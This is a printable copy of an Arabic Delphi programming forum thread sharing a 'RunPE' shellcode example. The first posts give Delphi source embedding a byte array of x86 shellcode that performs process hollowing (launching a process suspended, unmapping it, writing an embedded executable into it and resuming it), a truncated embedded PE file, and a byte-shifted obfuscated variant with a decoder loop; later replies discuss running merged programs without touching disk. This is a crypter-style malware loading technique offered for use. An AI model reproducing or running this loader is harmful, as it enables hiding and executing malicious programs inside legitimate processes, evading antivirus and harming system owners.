delphi4arab منتديات دلفي للعرب
Shellcode RunPE مثال جيد - نسخة قابلة للطباعة

+- delphi4arab منتديات دلفي للعرب (https://delphi4arab.net/forum)
+-- قسم : منتديات دلفي للعرب التعليمية (https://delphi4arab.net/forum/forumdisplay.php?fid=3)
+--- قسم : مصادر دلفي مفتوحة تعليمية (https://delphi4arab.net/forum/forumdisplay.php?fid=14)
+--- الموضوع : Shellcode RunPE مثال جيد (/showthread.php?tid=4793)



Shellcode RunPE مثال جيد - onexite - 17-12-2012

السلام عليكم

اليكم المثال
PHP كود :
program RunShellCode;

uses
  Windows
,
  
Unit2 in 'Unit2.pas';

var
  
arrRunPE:  array[0..693] of Byte = (
    $
55,$8B,$EC,$81,$C4,$A4,$FA,$FF,$FF,$89,$45,$FC,$E8,$1B,$02,$00,$00,$89,$85,$CC,
    
$FD,$FF,$FF,$BB,$F2,$0F,$56,$C6,$8B,$95,$CC,$FD,$FF,$FF,$E8,$19,$02,$00,$00,$89,
    $
45,$F8,$BB,$A9,$8B,$80,$2D,$8B,$95,$CC,$FD,$FF,$FF,$E8,$06,$02,$00,$00,$89,$45,
    
$F4,$BB,$85,$3B,$AE,$DB,$8B,$95,$CC,$FD,$FF,$FF,$E8,$F3,$01,$00,$00,$89,$45,$F0,
    
$BB,$93,$35,$DF,$85,$8B,$95,$CC,$FD,$FF,$FF,$E8,$E0,$01,$00,$00,$89,$45,$EC,$BB,
    $
8D,$CB,$B6,$5D,$8B,$95,$CC,$FD,$FF,$FF,$E8,$CD,$01,$00,$00,$89,$45,$E8,$BB,$53,
    $
13,$C1,$78,$8B,$95,$CC,$FD,$FF,$FF,$E8,$BA,$01,$00,$00,$89,$45,$E4,$BB,$8A,$DB,
    
$DF,$A5,$8B,$95,$CC,$FD,$FF,$FF,$E8,$A7,$01,$00,$00,$89,$45,$E0,$BB,$2E,$05,$50,
    
$C8,$8B,$95,$CC,$FD,$FF,$FF,$E8,$94,$01,$00,$00,$89,$45,$DC,$BB,$85,$A1,$16,$A2,
    $
8B,$95,$CC,$FD,$FF,$FF,$E8,$81,$01,$00,$00,$E8,$06,$00,$00,$00,$6E,$74,$64,$6C,
    $
6C,$00,$5F,$57,$FF,$D0,$89,$85,$D0,$FD,$FF,$FF,$BB,$8B,$E3,$CD,$41,$8B,$D0,$E8,
    $
60,$01,$00,$00,$89,$45,$D8,$BB,$39,$23,$0D,$2C,$8B,$95,$D0,$FD,$FF,$FF,$E8,$4D,
    $
01,$00,$00,$89,$45,$D4,$68,$00,$02,$00,$00,$8D,$85,$D4,$FD,$FF,$FF,$50,$6A,$00,
    
$FF,$55,$F8,$6A,$44,$8D,$85,$88,$FD,$FF,$FF,$50,$FF,$55,$D4,$FF,$55,$F4,$8B,$C8,
    $
8D,$85,$78,$FD,$FF,$FF,$50,$8D,$85,$88,$FD,$FF,$FF,$50,$6A,$00,$6A,$00,$6A,$04,
    $
6A,$00,$6A,$00,$6A,$00,$51,$8D,$85,$D4,$FD,$FF,$FF,$50,$FF,$55,$F0,$68,$CC,$02,
    $
00,$00,$8D,$85,$A4,$FA,$FF,$FF,$50,$FF,$55,$D4,$C7,$85,$A4,$FA,$FF,$FF,$02,$00,
    $
01,$00,$8D,$85,$A4,$FA,$FF,$FF,$50,$FF,$B5,$7C,$FD,$FF,$FF,$FF,$55,$EC,$64,$A1,
    $
30,$00,$00,$00,$8B,$40,$0C,$8B,$40,$14,$8B,$40,$10,$50,$FF,$B5,$78,$FD,$FF,$FF,
    
$FF,$55,$D8,$8B,$7D,$FC,$03,$7F,$3C,$6A,$40,$68,$00,$30,$00,$00,$FF,$77,$50,$FF,
    $
77,$34,$FF,$B5,$78,$FD,$FF,$FF,$FF,$55,$E8,$89,$85,$74,$FD,$FF,$FF,$6A,$00,$FF,
    $
77,$54,$FF,$75,$FC,$FF,$B5,$74,$FD,$FF,$FF,$FF,$B5,$78,$FD,$FF,$FF,$FF,$55,$E4,
    $
8D,$47,$18,$89,$85,$70,$FD,$FF,$FF,$0F,$B7,$47,$14,$01,$85,$70,$FD,$FF,$FF,$33,
    
$C0,$33,$F6,$33,$C9,$EB,$29,$6B,$C6,$28,$03,$85,$70,$FD,$FF,$FF,$8B,$9D,$74,$FD,
    
$FF,$FF,$03,$58,$0C,$8B,$55,$FC,$03,$50,$14,$6A,$00,$FF,$70,$10,$52,$53,$FF,$B5,
    $
78,$FD,$FF,$FF,$FF,$55,$E4,$46,$66,$3B,$77,$06,$72,$D1,$8B,$85,$74,$FD,$FF,$FF,
    $
03,$47,$28,$89,$85,$54,$FB,$FF,$FF,$8D,$85,$A4,$FA,$FF,$FF,$50,$FF,$B5,$7C,$FD,
    
$FF,$FF,$FF,$55,$E0,$FF,$B5,$7C,$FD,$FF,$FF,$FF,$55,$DC,$C9,$C3,$64,$A1,$30,$00,
    $
00,$00,$8B,$40,$0C,$8B,$40,$0C,$8B,$00,$8B,$00,$8B,$40,$18,$C3,$55,$8B,$EC,$83,
    
$C4,$F4,$52,$89,$55,$FC,$8B,$4A,$3C,$03,$CA,$89,$4D,$F4,$8B,$49,$78,$03,$CA,$89,
    $
4D,$F8,$8B,$51,$18,$8B,$49,$20,$03,$4D,$FC,$33,$FF,$8B,$31,$03,$75,$FC,$33,$C0,
    $
51,$AC,$8B,$C8,$03,$F8,$D3,$C7,$85,$C0,$75,$F5,$59,$3B,$FB,$74,$10,$83,$C1,$04,
    $
4A,$75,$E0,$BA,$C2,$58,$62,$1B,$5A,$33,$C0,$C9,$C3,$8B,$45,$FC,$8B,$4D,$F8,$8B,
    $
59,$18,$8B,$49,$24,$03,$C8,$2B,$DA,$D1,$E3,$03,$CB,$0F,$B7,$19,$8B,$4D,$F8,$8B,
    $
49,$1C,$03,$C8,$C1,$E3,$02,$03,$CB,$03,$01,$5A,$C9,$C3);


var
  
RunPEProc :procedure(arr:TbytArray);
  
i:integer;
   
crypt,dcrypt:  array[0..693] of Byte ;
begin
for i:=0 to length(arrRunPE) do  // مثال للتشفير فقط يمكنكم حذفه واستخدام هذا فقط RunPEProc := @arrRunPE[0];
  
crypt[i]:=Ord(arrRunPE[i]);

for 
i:=0 to length(crypt) do // مثال للتشفير فقط يمكنكم حذفه واستخدام هذا فقط RunPEProc := @arrRunPE[0];
  
dcrypt[i]:=byte(crypt[i]);

  
RunPEProc := @crypt[0];  //RunPEProc := @arrRunPE[0];
  
RunPEProc(Project11_);
end. 

برنامج مرحبا العالم

PHP كود :
unit Unit2;

Interface
Uses Windows;
type
TbytArray 
= array[0..15960] of byte;
Const
  
aSize = 15961;
  
Project11_: TbytArray=
(

$
4D,$5A,$50,$00,$02,$00,$00,$00,$04,$00,$0F,$00,$FF,$FF,$00,$00,$B8,$00,
$
00,$00,$00,$00,$00,$00,$40,$00,$1A,$00,$00,$00,$00,$00,$00,$00,$00,$00,
$
00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,
$
00,$00,$00,$00,$00,$00,$00,$01,$00,$00,$BA,$10,$00,$0E,$1F,$B4,$09,$CD
.
.
.
.
.
////////////////////////
الكود كامل
تجدونه في المرفقات 
.////////////////////////
.
.
.
.
,$
4F,$65,$51,$56,$77,$71,$55,$5A,$50,$6C,$71,$7A,$56,$42,$53,
$
66,$6B,$57,$4F,$6F,$3D,$3E,$00,$00,$02,$00,$00,$00
);

implementation

end
. 



Shellcode RunPE مثال جيد - onexite - 18-12-2012

تجربة للتشفير باضافة 1 لترتيب الحرف
PHP كود :
arr: array[0..695] of byte = (
86,140,237,130,197,165,251,0,0,138,70,253,233,28,3,1,1,138,134,205,254,0,0,188,243
,16,87,199,140,150,205,254,0,0,233,26,3,1,1,138,70,249,188,170,140,129,46,140,
150,205,254,0,0,233,7,3,1,1,138,70,245,188,134,60,175,220,140,150,205,254,0,0,233
,244,2,1,1,138,70,241,188,148,54,224,134,140,150,205,254,0,0,233,225,2,1,1,138,
70,237,188,142,204,183,94,140,150,205,254,0,0,233,206,2,1,1,138,70,233,188,84,20
,194,121,140,150,205,254,0,0,233,187,2,1,1,138,70,229,188,139,220,224,166,140,150
,205,254,0,0,233,168,2,1,1,138,70,225,188,47,6,81,201,140,150,205,254,0,0,233,149
,2,1,1,138,70,221,188,134,162,23,163,140,150,205,254,0,0,233,130,2,1,1,233,7,1
,1,1,111,117,101,109,109,1,96,88,0,209,138,134,209,254,0,0,188,140,228,206,66,140
,209,233,97,2,1,1,138,70,217,188,58,36,14,45,140,150,209,254,0,0,233,78,2,1,1,138
,70,213,105,1,3,1,1,142,134,213,254,0,0,81,107,1,0,86,249,107,69,142,134,137,254
,0,0,81,0,86,213,0,86,245,140,201,142,134,121,254,0,0,81,142,134,137,254,0,0,81
,107,1,107,1,107,5,107,1,107,1,107,1,82,142,134,213,254,0,0,81,0,86,241,105,205
,3,1,1,142,134,165,251,0,0,81,0,86,213,200,134,165,251,0,0,3,1,2,1,142,134,165,251
,0,0,81,0,182,125,254,0,0,0,86,237,101,162,49,1,1,1,140,65,13,140,65,21,140,65
,17,81,0,182,121,254,0,0,0,86,217,140,126,253,4,128,61,107,65,105,1,49,1,1,0,120
,81,0,120,53,0,182,121,254,0,0,0,86,233,138,134,117,254,0,0,107,1,0,120,85,0,118
,253,0,182,117,254,0,0,0,182,121,254,0,0,0,86,229,142,72,25,138,134,113,254,0,0,
16,184,72,21,2,134,113,254,0,0,52,193,52,247,52,202,236,42,108,199,41,4,134,113,
254,0,0,140,158,117,254,0,0,4,89,13,140,86,253,4,81,21,107,1,0,113,17,83,84,0,182
,121,254,0,0,0,86,229,71,103,60,120,7,115,210,140,134,117,254,0,0,4,72,41,138,134
,85,252,0,0,142,134,165,251,0,0,81,0,182,125,254,0,0,0,86,225,0,182,125,254,0,
0,0,86,221,202,196,101,162,49,1,1,1,140,65,13,140,65,13,140,1,140,1,140,65,25,196
,86,140,237,132,197,245,83,138,86,253,140,75,61,4,203,138,78,245,140,74,121,4,203
,138,78,249,140,82,25,140,74,33,4,78,253,52,0,140,50,4,118,253,52,193,82,173,140
,201,4,249,212,200,134,193,118,246,90,60,252,117,17,132,194,5,75,118,225,187,195
,89,99,28,91,52,193,202,196,140,70,253,140,78,249,140,90,25,140,74,37,4,201,44
,219,210,228,4,204,16,184,26,140,78,249,140,74,29,4,201,194,228,3,4,204,4,2,91,202
,196,78,78); 

الاستخدام
PHP كود :
program RunShellCode;
   {
$APPTYPE CONSOLE}


uses sysutils,
  
Unit2 in 'Unit2.pas';
  var
  
i:integer;
   
crypt:  array[0..695] of Byte ;
begin
for i:=0 to length(arr) do begin
 crypt
[i]:=(arr[i])-1;
 
Write(inttostr(crypt[i])+',');
end;
RunPEProc := @crypt[0];
RunPEProc(Project2_);
Readln;
end. 



Shellcode RunPE مثال جيد - virtual - 19-12-2012

لكن ما الفائدة من تشغيل برنامج بواسطة Shell Code , او بالاحرى ماالذي يمكن فعله ب Shell Code ولا يمكن فعله بواسطة برنامج مكتوب بلغة برمجه عالية المستوى , لانه في النهاية الكل سوف ينفذ في cpu


Shellcode RunPE مثال جيد - onexite - 19-12-2012

virtual كتب :لكن ما الفائدة ...
دمج البرامج وتنفيذها بدون استخراج في القرص


Shellcode RunPE مثال جيد - محمد عبد العزيز - 20-12-2012

السلام عليكم ورحمة الله

حتى يستفيد/يفهم من يشاهد الموضوع اكثر ينقص تحويل الshell code الى اوامر التجميع و/او ما يوافقها بدلفي

على ما اعتقد الكود الاصلي نشر في منتدى iCode من DeadlyVermilion
كود :
var arrRunPE: array[0..693] of Byte = ( $55,$8B,$EC,$81,$C4,$A4,$FA,$FF,$FF,$89,$45,$FC,$E8,$1B,$02,$00,$00,$89,$85,$CC, $FD,$FF,$FF,$BB,$F2,$0F,$56,$C6,$8B,$95,$CC,$FD,$FF,$FF,$E8,$19,$02,$00,$00,$89, $45,$F8,$BB,$A9,$8B,$80,$2D,$8B,$95,$CC,$FD,$FF,$FF,$E8,$06,$02,$00,$00,$89,$45, $F4,$BB,$85,$3B,$AE,$DB,$8B,$95,$CC,$FD,$FF,$FF,$E8,$F3,$01,$00,$00,$89,$45,$F0, $BB,$93,$35,$DF,$85,$8B,$95,$CC,$FD,$FF,$FF,$E8,$E0,$01,$00,$00,$89,$45,$EC,$BB, $8D,$CB,$B6,$5D,$8B,$95,$CC,$FD,$FF,$FF,$E8,$CD,$01,$00,$00,$89,$45,$E8,$BB,$53, $13,$C1,$78,$8B,$95,$CC,$FD,$FF,$FF,$E8,$BA,$01,$00,$00,$89,$45,$E4,$BB,$8A,$DB, $DF,$A5,$8B,$95,$CC,$FD,$FF,$FF,$E8,$A7,$01,$00,$00,$89,$45,$E0,$BB,$2E,$05,$50, $C8,$8B,$95,$CC,$FD,$FF,$FF,$E8,$94,$01,$00,$00,$89,$45,$DC,$BB,$85,$A1,$16,$A2, $8B,$95,$CC,$FD,$FF,$FF,$E8,$81,$01,$00,$00,$E8,$06,$00,$00,$00,$6E,$74,$64,$6C, $6C,$00,$5F,$57,$FF,$D0,$89,$85,$D0,$FD,$FF,$FF,$BB,$8B,$E3,$CD,$41,$8B,$D0,$E8, $60,$01,$00,$00,$89,$45,$D8,$BB,$39,$23,$0D,$2C,$8B,$95,$D0,$FD,$FF,$FF,$E8,$4D, $01,$00,$00,$89,$45,$D4,$68,$00,$02,$00,$00,$8D,$85,$D4,$FD,$FF,$FF,$50,$6A,$00, $FF,$55,$F8,$6A,$44,$8D,$85,$88,$FD,$FF,$FF,$50,$FF,$55,$D4,$FF,$55,$F4,$8B,$C8, $8D,$85,$78,$FD,$FF,$FF,$50,$8D,$85,$88,$FD,$FF,$FF,$50,$6A,$00,$6A,$00,$6A,$04, $6A,$00,$6A,$00,$6A,$00,$51,$8D,$85,$D4,$FD,$FF,$FF,$50,$FF,$55,$F0,$68,$CC,$02, $00,$00,$8D,$85,$A4,$FA,$FF,$FF,$50,$FF,$55,$D4,$C7,$85,$A4,$FA,$FF,$FF,$02,$00, $01,$00,$8D,$85,$A4,$FA,$FF,$FF,$50,$FF,$B5,$7C,$FD,$FF,$FF,$FF,$55,$EC,$64,$A1, $30,$00,$00,$00,$8B,$40,$0C,$8B,$40,$14,$8B,$40,$10,$50,$FF,$B5,$78,$FD,$FF,$FF, $FF,$55,$D8,$8B,$7D,$FC,$03,$7F,$3C,$6A,$40,$68,$00,$30,$00,$00,$FF,$77,$50,$FF, $77,$34,$FF,$B5,$78,$FD,$FF,$FF,$FF,$55,$E8,$89,$85,$74,$FD,$FF,$FF,$6A,$00,$FF, $77,$54,$FF,$75,$FC,$FF,$B5,$74,$FD,$FF,$FF,$FF,$B5,$78,$FD,$FF,$FF,$FF,$55,$E4, $8D,$47,$18,$89,$85,$70,$FD,$FF,$FF,$0F,$B7,$47,$14,$01,$85,$70,$FD,$FF,$FF,$33, $C0,$33,$F6,$33,$C9,$EB,$29,$6B,$C6,$28,$03,$85,$70,$FD,$FF,$FF,$8B,$9D,$74,$FD, $FF,$FF,$03,$58,$0C,$8B,$55,$FC,$03,$50,$14,$6A,$00,$FF,$70,$10,$52,$53,$FF,$B5, $78,$FD,$FF,$FF,$FF,$55,$E4,$46,$66,$3B,$77,$06,$72,$D1,$8B,$85,$74,$FD,$FF,$FF, $03,$47,$28,$89,$85,$54,$FB,$FF,$FF,$8D,$85,$A4,$FA,$FF,$FF,$50,$FF,$B5,$7C,$FD, $FF,$FF,$FF,$55,$E0,$FF,$B5,$7C,$FD,$FF,$FF,$FF,$55,$DC,$C9,$C3,$64,$A1,$30,$00, $00,$00,$8B,$40,$0C,$8B,$40,$0C,$8B,$00,$8B,$00,$8B,$40,$18,$C3,$55,$8B,$EC,$83, $C4,$F4,$52,$89,$55,$FC,$8B,$4A,$3C,$03,$CA,$89,$4D,$F4,$8B,$49,$78,$03,$CA,$89, $4D,$F8,$8B,$51,$18,$8B,$49,$20,$03,$4D,$FC,$33,$FF,$8B,$31,$03,$75,$FC,$33,$C0, $51,$AC,$8B,$C8,$03,$F8,$D3,$C7,$85,$C0,$75,$F5,$59,$3B,$FB,$74,$10,$83,$C1,$04, $4A,$75,$E0,$BA,$C2,$58,$62,$1B,$5A,$33,$C0,$C9,$C3,$8B,$45,$FC,$8B,$4D,$F8,$8B, $59,$18,$8B,$49,$24,$03,$C8,$2B,$DA,$D1,$E3,$03,$CB,$0F,$B7,$19,$8B,$4D,$F8,$8B, $49,$1C,$03,$C8,$C1,$E3,$02,$03,$CB,$03,$01,$5A,$C9,$C3); //Example of use: asm MOV EAX, dwArrayToRun LEA EBX, arrRunPE[0] CALL EBX end;

إقتباس :ماالذي يمكن فعله ب Shell Code ولا يمكن فعله بواسطة برنامج مكتوب بلغة برمجه عالية المستوى
اللغات عالية المستوى لا تنفع لسببين
1- الحجم
2- المحمولية بالذاكرة ان صح التعبير!



Shellcode RunPE مثال جيد - onexite - 20-12-2012

لا اعرف لماذا يقوم بتحويل الكود الى الهكس
ترتيب الحرف يكفي
على كل حال هذا البرنامج اصبح مفتوح المصدر وتضاعفت سرعة التحويل اكثر من الضعف
[صورة: 20121220114553.png]


Shellcode RunPE مثال جيد - virtual - 20-12-2012

إقتباس :اللغات عالية المستوى لا تنفع لسببين
1- الحجم
2- المحمولية بالذاكرة ان صح التعبير!

[COLOR="Navy"] ممكن مثال يوضح الفائدة من استخدام shell code ؟
الاستخدام الوحيد الذي اراه ممكن هو حقن ملف تنفيذي ب shell code معين ثم البحث عن تعليمة call ثم اعطائها عنوان shell code .
لكن هذا يوضح نية مريبة Wink
[/COLOR]


Shellcode RunPE مثال جيد - محمد عبد العزيز - 20-12-2012

إقتباس :لا اعرف لماذا يقوم بتحويل الكود الى الهكس
غالبا يكتب الshell code بالhex
انتبه الكود يكون منظم اكثر فكل حرف يمثل بحرفين اضافة الى $ والفاصلة
إقتباس :حقن ملف تنفيذي ب shell code معين ثم...
أنظر للامر من زاوية اخرى
اذا قلت لك "كود صغير الحجم يمكن وضعه بالذاكرة وتنفيذه دون ان يكون متعلق بموضع محدد من الذاكرة" ماذا يمكنك ان تفعل به ؟ فكر.. أمور كثيرة، جزء من برنامج حماية ، اضافات Plugins ....



RE: Shellcode RunPE مثال جيد - mohamed49 - 04-12-2016

شكرا جزيلا على هذه المعلومة لكن انا جديد جدا على الدلفي ورايت هذا الموضوع وسمعت عنه الكثير لكن لدي سؤال بخصوص الارقام الموضوعة في الشال كود هل هي عشوائية او هو ملف محول الى شال كود وما هو هذا الملف وكيف يمكن ان احول الملف برمجيا الى شال كود
جزاك الله خيرا على الموضوع